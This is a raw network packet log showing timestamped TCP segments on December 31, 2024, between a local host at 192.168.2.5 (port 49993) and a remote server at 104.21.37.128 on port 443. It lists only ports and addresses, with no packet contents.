Dec 31, 2024 09:26:37.234039068 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.234112978 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.256972075 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.256989002 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.257030010 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.257039070 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.257107019 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.258419037 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.258434057 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.258488894 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.258496046 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.258534908 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.262023926 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.262039900 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.262099028 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.262109041 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.262155056 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.264117002 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.264131069 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.264194012 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.264202118 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.264238119 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.293824911 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.293850899 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.293900013 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.293909073 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.293951035 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.294348001 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.294361115 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.294413090 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.294420004 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.294460058 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.294871092 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.294883966 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.294940948 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.294946909 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.294991970 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.320375919 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.320390940 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.320432901 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.320453882 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.320467949 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.320487022 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.343708992 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.343724966 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.343784094 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.343796968 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.343836069 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.348264933 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.348280907 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.348342896 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.348350048 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.348388910 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.349006891 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.349021912 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.349086046 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.349092960 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.349129915 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.371248960 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.371265888 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.371342897 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.371359110 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.371395111 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.380681992 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.380696058 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.380755901 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.380770922 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.380800009 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.381207943 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.381232977 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.381239891 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.381247044 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.381272078 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.381294012 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.381654024 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.381669044 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.381730080 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.381737947 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.381774902 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.383780003 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.430072069 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.430099964 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.430147886 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.430157900 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.430181026 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.430197954 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.431615114 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.431629896 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.431673050 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.431679964 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.431704044 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.431726933 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.432060957 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.432110071 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.432146072 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.432151079 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.432183981 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.435347080 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.435363054 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.435436964 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.435446024 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.435478926 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.437417984 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.437433958 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.437494993 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.437501907 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.437540054 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.467235088 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.467251062 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.467294931 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.467305899 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.467322111 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.467335939 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.468018055 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.468034029 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.468092918 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.468101025 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.468137980 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.468558073 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.468573093 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.468635082 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.468642950 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.468682051 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.493683100 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.493700981 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.493755102 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.493763924 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.493813038 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.493813038 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.517271996 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.517293930 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.517333031 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.517339945 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.517350912 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.517374992 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.518637896 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.518655062 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.518708944 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.518714905 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.518740892 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.518754005 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.522053003 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.522074938 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.522130966 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.522138119 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.522181034 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.524147987 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.524164915 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.524244070 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.524250984 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.524310112 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.559354067 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.559377909 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.559429884 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.559437990 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.559465885 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.559484005 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.560966015 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.560992956 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.561027050 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.561033010 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.561057091 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.561075926 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.561616898 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.561634064 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.561685085 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.561692953 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.561727047 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.580533981 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.580554962 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.580621958 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.580634117 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.580646038 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.580668926 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.604084015 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.604106903 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.604149103 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.604161024 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.604182959 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.604188919 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.605515003 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.605531931 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.605688095 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.605695963 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.605739117 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.609530926 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.609549999 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.609594107 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.609600067 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.609632969 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.609651089 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.610974073 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.610990047 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.611051083 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.611059904 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.611098051 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.646188021 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.646212101 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.646265030 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.646275997 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.646291971 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.646311045 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.647588015 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.647603989 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.647644997 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.647651911 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.647675037 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.647695065 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.648142099 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.648158073 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.648207903 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.648215055 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.648250103 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.667779922 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.667800903 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.667886019 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.667895079 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.667933941 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.690695047 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.690716982 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.690771103 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.690779924 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.690821886 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.692188025 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.692204952 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.692253113 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.692260981 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.692301035 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.696322918 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.696342945 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.696412086 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.696424007 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.696461916 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.697645903 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.697666883 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.697715044 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.697722912 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.697757959 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.732857943 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.732873917 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.732949018 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.732965946 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.733007908 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.734302044 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.734333038 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.734375000 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.734380960 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.734405994 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.734424114 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.734795094 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.734811068 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.734864950 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.734869003 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.734905958 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.754120111 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.754146099 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.754213095 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.754228115 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.754266024 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.756701946 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.777555943 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.777717113 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.777731895 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.778805971 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.778824091 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.778887033 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.778892994 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.778923988 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.782931089 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.782948971 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.783025980 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.783036947 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.783428907 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.783444881 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.783503056 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.783509970 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.805311918 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.805331945 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.805408955 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.805424929 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.820904016 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.820966959 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.821012020 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.821022034 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.821053982 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.821753025 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.821770906 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.821809053 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.821815014 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.821837902 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.822197914 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.822215080 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.822257996 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.822263956 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.822297096 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.822855949 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.864154100 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.864185095 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.864238977 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.864259005 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.864279985 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.865561962 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.865583897 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.865628958 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.865637064 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.865670919 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.869543076 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.869560003 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.869636059 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.869645119 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.870115042 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.870135069 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.870176077 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.870182037 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.870204926 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.882960081 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.892083883 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.892101049 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.892184973 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.892198086 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.907535076 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.907557011 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.907646894 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.907658100 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.908269882 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.908284903 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.908361912 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.908370018 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.908833027 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.908853054 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.908906937 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.908912897 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.908927917 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.912590027 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.950894117 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.950925112 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.951016903 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.951030970 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.952179909 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.952202082 CET	443	49993	104.21.37.128	192.168.2.5
